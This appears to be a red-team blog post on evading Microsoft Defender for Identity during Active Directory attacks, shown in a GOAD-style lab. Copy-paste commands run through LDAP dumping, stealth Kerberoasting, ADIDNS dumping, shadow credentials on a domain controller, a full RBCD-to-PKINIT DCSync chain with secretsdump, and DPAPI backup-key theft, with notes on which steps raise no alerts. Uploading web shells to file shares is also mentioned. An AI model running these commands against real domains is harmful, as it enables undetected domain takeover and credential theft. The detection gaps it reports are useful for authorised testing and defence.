Introduction

As part of my work as an offensive security consultant, I had many encounters with MDI’s defense mechanisms. This blog post walks through some interesting findings that might be useful for other red teamers and pentesters working on similar assessments.

The goal here is pretty straightforward - I want to share some attack paths and techniques I discovered during authorized testing that could help improve both red team exercises and defensive strategies. While I’m not claiming to have discovered anything groundbreaking here, I’ve got some useful insights to share. Security researchers like Nikhil Mittal from Altered Security and the team at Synacktiv for example have already done great work documenting MDI’s behavior. You can find their excellent work here and here. Since MDI keeps evolving and I tend to approach things a bit differently in my engagements, I’ll show you what techniques still work, where you need to watch your step, and what attempts will get you caught. Please be aware not to fall into a false sense of security when red teaming mature environments with the presented techniques. Savvy blue teams often customize Microsoft Defender for Identity (MDI) and other Defender modules and build additional detections and metrics to monitor activity. Never underestimate the diligence of a skilled and curious blue teamer, especially when executing commands on sensitive systems. Consider yourself warned—now, let’s get started!

LDAP Reconnaissance

Let’s start with enumeration. In my engagements I mostly only need full user and computer object details, maybe some password policy info. Pretty much everything I require I can just extract from those 2-3 LDAP queries. You can grab this data and process it offline using jq to parse the JSON output. While an “expensive” LDAP query that dumps the full object tree for all users or computers is supposed to trigger MDI’s alarms (since it can generate hundreds of MBs of text data), I’ve used this technique across multiple red team engagements without setting off any out-of-the-box alerts.

Here is the command that fetches all of the user objectclass:

ldeep ldap -s ldaps://winterfell.north.sevenkingdoms.local -d north.sevenkingdoms.LOCAL \\ 
-u eddard.stark -p 'FightP3aceAndHonor!' search "(objectClass=user)"

Other queries i used throughout my tests without any alerts are:

(objectClass=user)
(objectClass=domain)

Once this information is obtained you can pretty much extract all the necessary data for a nearly full picture of the target Active Directory.

You can extract detailed information from the offline dump, such as identifying all administrative accounts and their associated group memberships (e.g. Domain Admin accounts), using this command:

cat ldap_users.txt | jq '.[] | select(.adminCount != null) | select(.adminCount | contains(1)) | \\
.sAMAccountName, .description, .name, .memberOf'

During a recent engagement, although the blue team had configured Microsoft Defender for Identity (MDI) with low alert thresholds and test mode settings, it still didn’t generate any alerts. It’s worth noting that LDAP queries still generate telemetry logs. This means if you’re operating against (or alongside) an experienced blue team, they’ll likely detect these activities through log analysis, even if automated alerts don’t trigger.

Kerberoasting

Kerberoasting is a powerful attack technique that continues to be widely used in red teaming due to its low detection rate and potential for significant privilege escalation.

Here’s what I tested without triggering any alerts:

  1. Extract Kerberoastable Users: Perform an full users objectclass LDAP dump and extract users with SPNs set, then request a service ticket using Impacket scripts with time delays.
  2. Test Without Delays: Execute the same process without delays. However, if you’re paranoid like me, it’s still a good idea to introduce time intervals between service ticket (ST) requests, as this seems highly suspicious and can raise some eyebrows in the SOC. You can refer to my modified GetUserSPNs.py script for this.
  3. Use the Stealth Option in GetUserSPNs.py: This approach modifies the LDAP filter logic to exclude the SPN filter for the targeted user, making the process less detectable.

It is worth mentioning that Microsoft Defender for Identity (MDI) correlates LDAP queries with ST requests to identify Kerberoasting attempts. If an attacker queries LDAP for a user with an SPN and then requests an ST shortly after (within seconds), MDI is likely to flag it as suspicious activity.

Here are the commands for easy copy pasting:

# get kerberoastable users from ldap user dump
cat ldap_users.txt | jq '.[] | select(.objectCategory != null) | select(.objectCategory | test("CN=Person.*")) | \\ 
select(.servicePrincipalName != null) | select(.adminCount != null)| select(.adminCount | contains(1)) | \\ 
.sAMAccountName, .servicePrincipalName' > kerberoastable_admins.txt

# use offline users i.e. request without LDAP query
python GetUserSPNs.py essos/khal.drogo:'horse' -dc-ip 192.168.56.12 -request -usersfile kerberoastable_admins.txt

# use stealth option - omits the servicePrincipalName=* search filter
python GetUserSPNs.py essos/khal.drogo:'horse' -dc-ip 192.168.56.12 -request -stealth

DNS Dumps

With AD-integrated DNS (ADIDNS), you can dump the entire DNS server, revealing all resolvable systems. Currently, this activity isn’t detected by MDI, providing red teamers the opportunity to map out the entire Active Directory as well as other systems like Linux servers, firewalls, web servers, etc. I use adidnsdump by Dirk-Jan, it requires a (low-privileged) domain user.

# dump the zones
adidnsdump -u essos\\khal.drogo -p 'horse' meereen.essos.local --ssl --print-zones 

# dump hostnames for zone
adidnsdump -u essos\\khal.drogo -p 'horse' meereen.essos.local --ssl --legacy --zone essos.local 

Smbclient And Accessing Filesystems

This is one of my favorite techniques, as it consistently delivers surprising results in most red team engagements. It’s highly stealthy and can uncover significant findings. Extracting credentials or other valuable information from the filesystem can lead to reliable privilege escalation and writable file shares are an effective method for compromising web servers for example. I’ve used this approach numerous times, as it essentially acts as a full-blown file upload vulnerability, often resulting in a SYSTEM shell. Currently, Microsoft Defender for Identity (MDI) does not provide detection for file share access. This might be due to the potential for numerous false positives, making reliable detection challenging. To state the obvious be cautious when uploading web shells with known signatures, as they can trigger endpoint detection.

Shadow Credentials

You can configure shadow credentials on computer AD objects without alert for some reasons. To perform a stealthy DCSync attack (detailed in the next section), a Domain Controller hash is required so setting KeyCredentials on a Domain Controller becomes especially advantageous.

# list, should be empty because why would anyone set a KeyCredential on a DC ??
certipy shadow -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' -target meereen.essos.local list

# add
certipy shadow -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' -target meereen.essos.local add

# clear
certipy shadow -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' -target meereen.essos.local clear

DCSync

The DCSync attack chain combines many different techniques, none of them trigger alerts out-of-the-box in MDI in end of 2024.

If you have gained domain admin or similar access rights within AD and you really absolutely need to dump hashes on the DC here are the required steps:

  1. If delegation is denied on the DA, which it usually is in mature AD environments, use the compromised Domain Admin account to disable the NOT_DELEGATED UserAccountControl flag, so DA is allowed to be delegated. Use my fork of ldap_shell to do this.

  2. Add DA as Service Principle Name (SPN) to the Domain Controller to configure Kerberos based delegation

  3. Configure resource-based constrained delegation (RBCD) on the Domain Controller to be able to impersonate any user (including the DC itself) on the DC

  4. Request a Kerberos Service Ticket for the DC machine account on the DC

  5. Add shadow credential to the DC

  6. Obtain NTLM hash of DC with PKINIT ticket request. See the diff for gettgtpkinit.py in the comments below.

  7. Impersonate DC and dump Active Directory with DCSync

I am really surprised that none of these attacks in the whole chain will trigger an alert out of the box. But it is what it is. Below are the necessary steps. for UAC manipulation i used a custom ldap_shell program which can be found on my Github.

python ldap_shell essos.local/daenerys.targaryen:'BurnThemAll!AndAll'
get_useraccountcontrol daenerys.targaryen
set_useraccountcontrol daenerys.targaryen 1048576 unset


# query
addspn.py --target-type samname -t daenerys.targaryen --spn "cifs/meereen.essos.local" \\ 
-u 'essos.local\daenerys.targaryen' -p 'BurnThemAll!' -q meereen.essos.local

# add
addspn.py --target-type samname -t daenerys.targaryen --spn "cifs/meereen.essos.local" \\ 
-u 'essos.local\daenerys.targaryen' -p 'BurnThemAll!' meereen.essos.local

# read
rbcd.py -use-ldaps -delegate-to "meereen$" -delegate-from daenerys.targaryen -action read \\
essos.local/daenerys.targaryen:'BurnThemAll!' -debug

# set
rbcd.py -use-ldaps -delegate-to "meereen$" -delegate-from daenerys.targaryen -action write \\ 
essos.local/daenerys.targaryen:'BurnThemAll!' -debug

getST.py -spn 'host/meereen.essos.local' -impersonate 'meereen$' essos.local/daenerys.targaryen:'BurnThemAll!'

export KRB5CCNAME="/home/kali/meereen.ccache"

certipy shadow -k -target meereen.essos.local list
certipy shadow -k -target meereen.essos.local clear
certipy shadow -k -target meereen.essos.local add

# slightly modified script as MDI alerted on forwardable tickets

# <     def build_asreq(self, domain = None, cname = None, kdcopts = []):
# ---
# >     def build_asreq(self, domain = None, cname = None, kdcopts = ['forwardable','renewable','renewable-ok']):

gettgtpkinit.py 'essos.local/meereen$' -cert-pfx MEEREEN.pfx meereen.ccache

export KRB5CCNAME=meereen.ccache

python getnthash.py -key <key> 'essos.local/meereen$'

secretsdump.py essos.local/meereen\$@192.168.56.12 -hashes :<nthash> -dc-ip 192.168.56.12 -just-dc


# clean up 
python addspn.py --target-type samname -t daenerys.targaryen --spn "cifs/meereen.essos.local" \\
-u 'essos.local\daenerys.targaryen' -p 'BurnThemAll!AndAll' -dc-ip 192.168.56.12 -q meereen.essos.local

python addspn.py --target-type samname -t daenerys.targaryen --spn "cifs/meereen.essos.local" \\ 
-u 'essos.local\daenerys.targaryen' -p 'BurnThemAll!AndAll' -dc-ip 192.168.56.12 -c meereen.essos.local

# read
proxychains4 rbcd.py -use-ldaps -delegate-to "meereen$" -delegate-from daenerys.targaryen -action read \\ 
essos.local/daenerys.targaryen:'BurnThemAll!AndAll' -debug

# remove
rbcd.py -use-ldaps -delegate-to "meereen$" -delegate-from daenerys.targaryen -action remove \\ 
essos.local/daenerys.targaryen:'BurnThemAll!AndAll' -debug

DPAPI

If you like to put screenshots of firewalls or backup admin web panels in your reports, then you’ll likely want to extract browser credentials in post exploitation. The DPAPI (Data Protection API) backup key is a critical component of how DPAPI functions, enabling recovery of protected data when the original encryption keys are unavailable. In a domain environment, the backup key is managed by the Domain Controller and of course this seems a highly likely way to get caught trying to extract this. As of end of 2024 there is no alert (out-of-the-box) for dumping the domain backup key via DCSync. The standard tool from impacket extracts the keys via LDAP and NTDIS.dit, which should indeed trigger an alert so I modified a version of this script to get the backup key via DRSUAPI. In combination with a DC hash this had given zero alerts so far. You can find my script on Github here,these are the commands:

# full chain
python3 dcsyncdpapikey.py domain/user:'pw'@target

# just dump GUIDS for backupkey via LDAP with a admin account, useful for OPSEC if you want to dcsync with DC machine hash
python3 dcsyncdpapikey.py domain/user:'pw'@target -ldap-only

# dump key via DCSync with extracted GUID
python3 dcsyncdpapikey.py domain/DC\$@target -hashes :hash -key-only --guid GUID

Improvements Over Previous Versions Of MDI

Over the years, some changes have been implemented, and this was not previously flagged. Exercise caution when performing the following actions.

KeyCredentials on Sensitive Accounts: Setting a KeyCredential on sensitive accounts like Domain Admins has always triggered high-severity alerts. However, this has not typically been the case for machine accounts. An attack chain which I used commonly when targeting Azure cloud environments often involves compromising the AD Sync account, also known as AZUREADSSOACC$. This account is a machine account created automatically by Azure Active Directory Connect when Seamless Single Sign-On (Seamless SSO) is enabled. It acts as a service account in Active Directory (AD) to securely manage authentication between on-premises AD and Azure AD and with the comporimised NTLM hash it is possible to impersonate all cloud-synced user accounts via forged Kerberos service tickets. With a recent update, Microsoft has begun including the AZUREADSSOACC$ object among accounts monitored for changes. Exercise caution when modifying this account, as it is crucial for seamless authentication. For more details, refer to the official documentation.

BloodHound Queries: While using BloodHound might seem straightforward, even with settings like throttling, jitter, or targeting domain controllers only (dcOnly), Microsoft Defender for Identity (MDI) detects queries against sensitive groups (e.g., Domain Admins, Enterprise Admins). This triggers a medium-severity alert labeled as “LDAP Service Principal Reconnaissance.”

Anonymous LDAP Pings (CLDAP): Performing anonymous LDAP pings will almost certainly trigger alerts. MDI classifies this as “Account Enumeration Reconnaissance (LDAP)” with a medium severity rating. You can find further details and a description of this alert here.